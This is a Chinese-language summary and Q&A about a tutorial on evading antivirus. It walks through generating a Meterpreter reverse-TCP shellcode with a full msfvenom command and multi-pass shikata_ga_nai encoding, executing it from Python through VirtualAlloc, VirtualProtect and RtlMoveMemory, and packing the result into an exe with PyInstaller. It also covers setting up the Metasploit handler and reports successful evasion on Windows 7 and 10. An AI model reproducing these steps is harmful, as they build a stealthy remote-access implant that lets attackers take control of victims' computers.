内容提要
本文介绍使用Python加密shellcode实现免杀的方法。通过Metasploit生成shellcode,用Python调用Windows API分配内存并执行,再用PyInstaller打包成exe。测试在Windows 7/10等系统成功,但需注意环境兼容性,最新版Kali可能无法弹shell,可用Pentestbox替代。
延伸解读
环境兼容性注意事项
文章提到在最新版Kali上无法弹shell,最终改用Pentestbox中的MSF监听才成功。这说明免杀测试对环境依赖较强,不同版本的MSF或系统可能影响shellcode执行。建议在搭建测试环境时,优先选择文章验证过的Windows 7 32位系统,并注意MSF版本与监听端口的匹配,避免因环境差异导致失败。
免杀原理与局限性
本文通过Python调用Windows API(如VirtualAlloc、RtlMoveMemory)将shellcode加载到内存并执行,利用PyInstaller打包成exe,以规避静态查杀。但这种方法仅针对特定杀软和特征,且shellcode未加密,仅依赖编码器混淆。实际免杀效果有限,可能被行为检测或内存扫描发现,需结合其他技术增强隐蔽性。
测试与验证建议
文章在Windows 7、Windows 10等系统上测试成功,并提供了在线查杀结果。但未提及杀软的具体版本和实时监控状态,因此免杀效果可能因杀软更新而变化。建议在多个杀软环境(如开启实时防护)下测试,并关注shellcode的编码次数(如-i 11)对免杀效果的影响,同时注意监听端口的设置需与shellcode一致。
Q&A
如何使用Python加密shellcode实现免杀?
使用Metasploit生成加密的shellcode,然后用Python调用Windows API(如VirtualAlloc、VirtualProtect、RtlMoveMemory)分配内存并执行shellcode,最后用PyInstaller打包成exe。
生成免杀shellcode需要哪些工具和环境?
需要Kali Linux(用于Metasploit)、Windows 7 32位系统、Python 2.7、pyinstaller、pywin32和VCForPython27.msi。
如何用msfvenom生成加密的shellcode?
使用命令:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=端口 LHOST=IP -e x86/shikata_ga_nai -i 11 -f py -o samny.py,其中IP和端口需替换为自己的。
Python执行shellcode的代码原理是什么?
通过ctypes调用Windows API:VirtualAlloc分配可执行内存,VirtualProtect设置内存保护为可读可写可执行,RtlMoveMemory将shellcode复制到内存,最后用cast转换为函数指针并调用执行。
如何将Python脚本打包成exe?
使用PyInstaller工具,在命令行执行pyinstaller -F -w 脚本名.py,可以指定图标等选项。
测试免杀shellcode时如何设置MSF监听?
在Metasploit中使用exploit/multi/handler,设置payload为windows/meterpreter/reverse_tcp_uuid,设置lhost和lport,并启用EnableStageEncoding和StageEncoder x86/fnstenv_mov。
在哪些系统上测试成功?
Windows 7(32位和64位)、Windows Server 8、Windows 10 1903,以及真实环境中的Windows 7和Windows 10。
使用最新版Kali时遇到什么问题?如何解决?
最新版Kali无法弹shell,卡了很久,最后使用Pentestbox中的MSF监听端口才成功。